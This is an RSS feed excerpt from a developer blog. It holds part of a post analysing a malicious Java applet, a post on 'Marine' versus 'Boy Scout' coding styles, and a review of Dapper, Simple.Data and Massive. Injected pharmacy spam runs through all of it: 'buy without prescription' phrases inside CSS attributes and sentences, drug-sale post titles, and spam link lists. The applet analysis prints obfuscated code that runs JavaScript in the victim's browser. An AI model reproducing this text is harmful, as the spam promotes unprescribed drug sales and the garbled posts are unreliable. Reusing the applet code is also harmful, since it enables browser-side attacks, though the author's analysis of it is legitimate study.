<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                     <span style="color: #0000ff">if</span>(process != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl wiki</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                         c_js1.js(&quot;JSM_onLoad&quot;, applet);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                         <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl australia, uk, us, usa</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 i++;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>             } <span style="color: #0000ff">while</span>(<span style="color: #0000ff">true</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span> }</pre>  </div></div></p>
<p><p>c_js.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, <b>Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.applet.AppletContext;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Buy Flagyl online no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_js</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_js()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>buy Flagyl from canada</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     <span style="color: #0000ff">public</span> void js(String s, Applet applet)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         String s1 = &quot;vascri&quot;;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Where can i find Flagyl online</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             applet.getAppletContext().showDocument(<span style="color: #0000ff">new</span> URL((<span style="color: #0000ff">new</span> StringBuilder()).append(&quot;ja&quot;).append(s1).append(&quot;pt:&quot;).append(s).append(&quot;();&quot;).toString()));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>doses Flagyl work</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> }</pre>  </div></div></p>
<p><p>&#160;</p></p>
<p><p>ok, c_js executes a javascript function back on the browser, where the varable ’s’ is a function.&#160; I like the way they break up “ja-vascri-pt:”</p></p>
<p><p>c_ed calls the javascript function JSM_onLoad&#160; (this is in that last javascript file I showed, the one with the poetry on the bottom) and executes it using c_js.</p></p>
<p><p>c_de, I could be missing something, but it looks like that code can download near anything.&#160; Kind of scary that one.</p></p>
<p><p>c_gP, I will need a Java expert for that.&#160; Completely dumbfounds me right now, but I don’t have a good Java environment to play with right now to try it out. (I’m working on that, but it is late).</p></p>
<p><p>a, this one is the entry point for the applet.&#160; It is easy to see the link in there, it comes out to: [http://dl.dropbox.com/u/41185898/a.gif] Which is a broaken link (but I was getting excited there).</p></p>
<p><h3></h3></p>
<p><h3>Where did this go?</h3></p>
<p><p>OK, I spent a couple of hours on this, <b>Where can i buy cheapest Flagyl online</b>, part of that is writing this up, so this is kind of a mad dash.&#160; But it looks like the point was to load random images onto the page.&#160; But someone else can look that up.</p></p>
<p><p>Now the rest of the ethical delima: should I have posted this?&#160; Personally I think there are valuable things to learn from reading code like this.&#160; And it is always good to know what the “other side” is doing.&#160; But is posting the code more harm than good?</p></p>
<p><p>Tell me what you think.&#160; If you convince me I did wrong, some of this may go away.</p>.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4977'>Spiriva For Sale</a>. <a href='http://elegantcode.com/?p=4713'>Colchicine For Sale</a>. <a href='http://elegantcode.com/?p=4388'>Buy Levaquin Without Prescription</a>. <a href='http://elegantcode.com/?p=5020'>Buy Alesse (Ovral L) Without Prescription</a>. <a href='http://elegantcode.com/?p=4930'>Buy Betnovate Without Prescription</a>. <a href='http://elegantcode.com/?p=4731'>Purchase Celebrex for sale</a>. <a href='http://elegantcode.com/?p=4608'>After Cephalexin</a>. <a href='http://elegantcode.com/?p=4407'>No prescription Nexium online</a>. <a href='http://elegantcode.com/?p=4307'>Toradol long term</a>. <a href='http://elegantcode.com/?p=4715'>Aldactone pics</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.leaduganda.org/?p=3514'>Flagyl For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6916'>Flagyl For Sale</a>. <a href='http://www.greatgreengoods.com/?p=4031'>Flagyl For Sale</a>. <a href='http://www.thegriffonnews.com/?p=10580'>Flagyl For Sale</a>. <a href='http://www.independentworldreport.com/?p=2643'>Flagyl For Sale</a>. <a href='http://4realz.net/?p=2486'>What is Flagyl</a>. <a href='http://tvtownhall.com/?p=1903'>Where to buy Flagyl</a>. <a href='http://reversemortgagedaily.com/?p=14810'>Canada, mexico, india</a>. <a href='http://linuxologist.com/?p=1840'>Flagyl trusted pharmacy reviews</a>. <a href='http://home.officesnapshots.com/?p=364'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Buy Augmentin Without Prescription</title>
		<link>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=marines-vs-boy-scouts</link>
		<comments>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 17:08:00 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/</guid>
		<description><![CDATA[Buy Augmentin Without Prescription, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, get Augmentin, Augmentin use, this is a “me, myself, where can i order Augmentin without prescription, Buy generic Augmentin, I and all of yall”.&#160; We all use both of these patterns in developing code, [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Buy Augmentin Without Prescription</b>, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, <b>get Augmentin</b>, <b>Augmentin use</b>, this is a “me, myself, <b>where can i order Augmentin without prescription</b>, <b>Buy generic Augmentin</b>, I and all of yall”.&#160; We all use both of these patterns in developing code, and will even switch patterns in the same product from feature to feature.&#160; Anyway, <b>Augmentin wiki</b>, <b>Australia, uk, us, usa</b>, here are your definitions:</p>  <p><strong>Boy Scout</strong>:&#160; “Leave thing better than you found them”</p>  <p><strong>Marine</strong>: “Get in, get out, <b>taking Augmentin</b>, <b>Augmentin alternatives</b>, leave no trace behind.”</p>  <p>Sounds simple right?&#160; So where does this apply?&#160; Starting with the Marine.&#160; I more frequently use this when dealing with someone else’s code, or something I just need to hack out real quick.&#160; Often you don’t plan on maintaining the code, <b>about Augmentin</b>, <b>Augmentin online cod</b>, probably won’t own it, or you are just following the given pattern that is already established in the code – no matter how bad it is.&#160; Typically you are just trying to get in and out without your name being attached.&#160; You will also hear the adage “if it ain’t broke don’t fix it” commonly among staunch practitioners.&#160; You can maintain code like this for a while, <b>buy no prescription Augmentin online</b>, <b>Augmentin long term</b>, but if used too often it will come back to haunt you.&#160; Each feature becomes harder to add, unexpected behaviors crop up, <b>order Augmentin online c.o.d</b>, <b>Augmentin no rx</b>, and performance problems creep in.</p>  <p>Now the Boy Scout.&#160; You are adding a feature and find a mess.&#160; The code is working, but is very unmaintainable.&#160; Instead of just adding your feature, <b>buy Augmentin without prescription</b>, <b>Augmentin photos</b>, you tear the code apart and refactor the daylights out of the code.&#160; Once complete and all is in order, then you add your feature.&#160; It took you three times longer than expected to get the feature added, <b>online Augmentin without a prescription</b>, <b>Augmentin treatment</b>, but you might be saving time in the future, assuming you will need to work with the code again.&#160; Unfortunately, <b>get Augmentin</b>, <b>Ordering Augmentin online</b>, it is also very possible to get over your head in a hurry.&#160; It would be great to have some unit tests to fall back on in this situation … but I haven’t seen that yet.&#160; A good thing to do before you start a boy scout trip is to warn people where you are going, how long you’ll be there, <b>Augmentin from canadian pharmacy</b>, <b>Augmentin australia, uk, us, usa</b>, and when to send for help.</p>  <h2>Pointers</h2>  <p>Now, lets not get too far ahead of ourselves here, <b>where can i cheapest Augmentin online</b>, <b>Kjøpe Augmentin på nett, köpa Augmentin online</b>, there is absolutely a time and place for each approach.&#160; It should also not be too hard to understand which is correct – but I’ll give some guidance anyway.&#160; Here are some points.</p>  <ol>   <li>If the code in question will be rarely used by one guy in the basement and doesn’t own a gun, marine mission till the cows come home.</li>    <li>If the code is non-critical, <b>Augmentin pharmacy</b>, <b>Discount Augmentin</b>, proof of concept, spike, <b>Augmentin without a prescription</b>, <b>Augmentin cost</b>, or the like and can get everything done in less than 4 hours, marine mission.</li>    <li>If you are a consultant brought in to add one feature and supplement a team with a strange style but is currently working for them, <b>Augmentin use</b>, <b>Augmentin trusted pharmacy reviews</b>, marine mission.&#160; Otherwise you will be “that guy”, meaning the one that didn’t fit in.&#160; Sometime it pays to just go with the flow.</li>    <li>If the code is critical path, <b>Augmentin steet value</b>, <b>Rx free Augmentin</b>, a essential web page seen by every customer you have: Boy Scout, and continue to Boy Scout.</li>    <li>If the code is already a buggy mess, <b>Augmentin dose</b>, <b>Doses Augmentin work</b>, the customers hate you, your product, <b>Augmentin recreational</b>, <b>Canada, mexico, india</b>, and your car – role up your sleeves and get to work.</li> </ol>  <p>End result, either approach can get you in trouble when used inappropriately.&#160; You need sound judgment to figure this out.&#160; But then again, <b>buy Augmentin online no prescription</b>, <b>Augmentin without prescription</b>, if software development was easy everyone would do it.</p>.  Buy Augmentin online cod.  Where can i buy cheapest Augmentin online.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4657'>Lexapro For Sale</a>. <a href='http://elegantcode.com/?p=4452'>Stromectol For Sale</a>. <a href='http://elegantcode.com/?p=4867'>Buy Soma Without Prescription</a>. <a href='http://elegantcode.com/?p=4758'>Buy Atenolol Without Prescription</a>. <a href='http://elegantcode.com/?p=4553'>Buy Female Pink Viagra Without Prescription</a>. <a href='http://elegantcode.com/?p=4662'>Where can i buy cheapest Antabuse online</a>. <a href='http://elegantcode.com/?p=4508'>Slimex (Obetrim) photos</a>. <a href='http://elegantcode.com/?p=4623'>Augmentin description</a>. <a href='http://elegantcode.com/?p=4752'>Buy Colchicine no prescription</a>. <a href='http://elegantcode.com/?p=4322'>Clonidine natural</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=1090'>Buy Augmentin Without Prescription</a>. <a href='http://4realz.net/?p=2432'>Buy Augmentin Without Prescription</a>. <a href='http://www.leaduganda.org/?p=903'>Buy Augmentin Without Prescription</a>. <a href='http://www.macneilbmx.com/blog/?p=6378'>Buy Augmentin Without Prescription</a>. <a href='http://www.greatgreengoods.com/?p=3806'>Buy Augmentin Without Prescription</a>. <a href='http://reversemortgagedaily.com/?p=13969'>Augmentin description</a>. <a href='http://linuxologist.com/?p=425'>Online buy Augmentin without a prescription</a>. <a href='http://home.officesnapshots.com/?p=198'>Augmentin pharmacy</a>. <a href='http://evanrapoport.com/?p=55'>Augmentin trusted pharmacy reviews</a>. <a href='http://www.themusclecarplace.com/?p=3068'>Doses Augmentin work</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Metronidazole Gel For Sale</title>
		<link>http://elegantcode.com/2011/08/02/thoughts-on-microorms/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=thoughts-on-microorms</link>
		<comments>http://elegantcode.com/2011/08/02/thoughts-on-microorms/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 04:21:29 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2011/08/02/thoughts-on-microorms/</guid>
		<description><![CDATA[Metronidazole Gel For Sale, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Metronidazole Gel For Sale</b>, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when you are really trying to drive performance, there is a lot of overhead in there.&#160; Besides, my general rule has been a good ORM can handle 80-90% of your queries, and then performance tune out as needed.&#160; I’m at the performance tuning part now.</p>  <p>BTW: if you are using Entity Framework you are in the same boat.</p>  <p>So the question is, what to do with that last 10-20% that you need performance on?&#160; Previously I had gone straight to Ado.Net, or used my own <a href="http://fluentado.codeplex.com/">FluentAdo</a> project.&#160; But a few new projects have dropped in on the scene and it was time to take a look.</p>  <p>Let’s start off with some requirements: </p>  <ol>   <li>Don’t be a pain to setup.</li>    <li>Don’t hork up my domain model (I have NHibernate for that).&#160; POCO preferred.</li>    <li>Be able handle multiple result sets (something NHibernate does not do well)</li>    <li>Preference executing raw sql, not an api.&#160; </li> </ol>  <ol>I don’t need:   <li>A custom query api for constructing sql. </li>    <li>Change tracking</li>    <li>Caching </li>    <li>Lazy Loading </li>    <li>Automatically loading child objects </li> </ol>  <ol>Basically, <b>online buying Metronidazole Gel</b>, <b>My Metronidazole Gel experience</b>, be simple, be light, <b>order Metronidazole Gel online c.o.d</b>, <b>Metronidazole Gel samples</b>, be fast, don’t be another NHibernate.&#160; </ol>  <p>Now the Contenders:</p>  <ul>   <ul>     <li><font style="background-color: #ffffff">Dapper </font></li>      <li>Simple.Data</li>      <li>Massive</li>      <h3>       <ul></ul>        <ul>Dapper</ul>     </h3>      <p><a href="http://code.google.com/p/dapper-dot-net/">Dapper</a> is my current favorite.&#160; I deals with POCO objects, <b>Metronidazole Gel online cod</b>, <b>Discount Metronidazole Gel</b>, setup is very simple, very little overhead and ceremony.&#160; That said, <b>purchase Metronidazole Gel online</b>, <b>Metronidazole Gel dose</b>, it is probably the rawest for dealing with sprocs.&#160; But for a bare metal way of loading domain objects, this guy is hard to beat.</p> Here is a sample query:</ul>    <p>var customer = _connection.Query&lt;Customer&gt;(     <br />&#160;&#160;&#160; &quot;select * from dbo.Customers where CustomerId = @id&quot;, <b>where can i buy cheapest Metronidazole Gel online</b>, <b>Metronidazole Gel pictures</b>, <br />&#160;&#160;&#160; new {id = 1})      <br />&#160;&#160;&#160; .FirstOrDefault();</p>    <p>Basically, Dapper handles all of my requirements with ease.&#160; I almost forgot to mention, <b>where can i find Metronidazole Gel online</b>, <b>Metronidazole Gel photos</b>, Dapper is compatible with .Net 4.0 and 3.5.&#160;&#160; That is a huge win for me.&#160; Plus, the guys on Stack Overflow are using it, <b>Metronidazole Gel samples</b>, <b>Metronidazole Gel recreational</b>, which makes for an easy “sell” to my management team.</p>    <p>&#160;</p>    <h3>Simple.Data</h3>    <ul><a href="https://github.com/markrendle/Simple.Data">Simple.Data</a> is also very interesting.&#160; It makes extensive use of .net 4.0 and the dynamic.&#160; Simple.Data is fairly ORM’ish, in that it seems to scan your database schema and dynamically add methods for retrieving data.&#160; But it still uses POCO classes so I am good with that.</ul> Here is a sample query:</ul>  <p>var db = Database.Open();   <br />var customer = db.Customers.FindByCustomerId(1);</p>  <p>To get that to work I defined the customer class with a CustomerID…and that is it.&#160; Dapper came up with the FindByCustomerId part.&#160; It also adds stored procs as well, <b>Metronidazole Gel pictures</b>, <b>Order Metronidazole Gel no prescription</b>, so if I have a sproc called “GetCustomers”, I can call:</p>  <p>db.GetCustomers()</p>  <p>It is just scary what is going on here.&#160; Granted there is a down-side to this system – albiet minor.&#160; There is a bit of overhead while Simple.Data scans your database schema and gets setup.</p>  <p>Verdict: I don’t mind Simple.Data, <b>Metronidazole Gel reviews</b>, <b>Metronidazole Gel wiki</b>, but the .Net 4.0 only part is a problem, plus it strays a bit into becoming a ORM – a bit too much API, <b>Metronidazole Gel no prescription</b>, <b>Metronidazole Gel duration</b>, but nothing obnoxious.</p>  <h3>Massive</h3>  <p>I should have known how this one would turn out ahead of time, but I really didn’t want to believe it.&#160; When I was young and foolish I was a SubSonic guy.&#160; Truth is, <b>Metronidazole Gel coupon</b>, <b>Metronidazole Gel dose</b>, I read Rob Connery’s blog religiously.&#160; But I moved passed SubSonic and onto NHibernate and never looked back.&#160; Heck, I moved passed Active Record and onto Repository Pattern.&#160; (Since then I’ve moved on again to Query/Command Pattern, <b>buy Metronidazole Gel without prescription</b>, <b>Online buy Metronidazole Gel without a prescription</b>, but another time for that).</p>  <p>First off, Massive horks up my domain model.&#160; Each entity has to inherit from DynamicModel.&#160; So before my model looked like this:</p>  <p>class Customer   <br />{    <br />&#160;&#160;&#160; public int CustomerId { get; set; }    <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>Now, <b>where can i find Metronidazole Gel online</b>, <b>Online Metronidazole Gel without a prescription</b>, Massive-fied:</p>  <p>class Customer: DynamicModel   <br />{    <br />&#160;&#160;&#160; public Customer(): base(&quot;Default&quot;)    <br />&#160;&#160;&#160; {    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; TableName = &quot;Customers&quot;;    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; PrimaryKeyField = &quot;CustomerId&quot;;    <br />&#160;&#160;&#160; }</p>  <p>&#160;&#160;&#160; public int CustomerId { get; set; }   <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>And that “Default” in there, that is the name of my connection string.&#160; Wonderful.&#160; Also, <b>buy Metronidazole Gel online no prescription</b>, <b>Buy cheap Metronidazole Gel no rx</b>, because my table names are plural, I have to specify the name of my table for them in EVERY SINGLE CLASS.</p>  <p>Now, <b>Metronidazole Gel steet value</b>, <b>Get Metronidazole Gel</b>, how to query:</p>  <p>var tbl = new Customer();   <br />var customer = tbl.Single(1);</p>  <p>Smack-dab, back to Active Record.</p>  <p>Also, <b>herbal Metronidazole Gel</b>, <b>Metronidazole Gel australia, uk, us, usa</b>, I didn’t see anything on how to parse multiple result sets.</p>  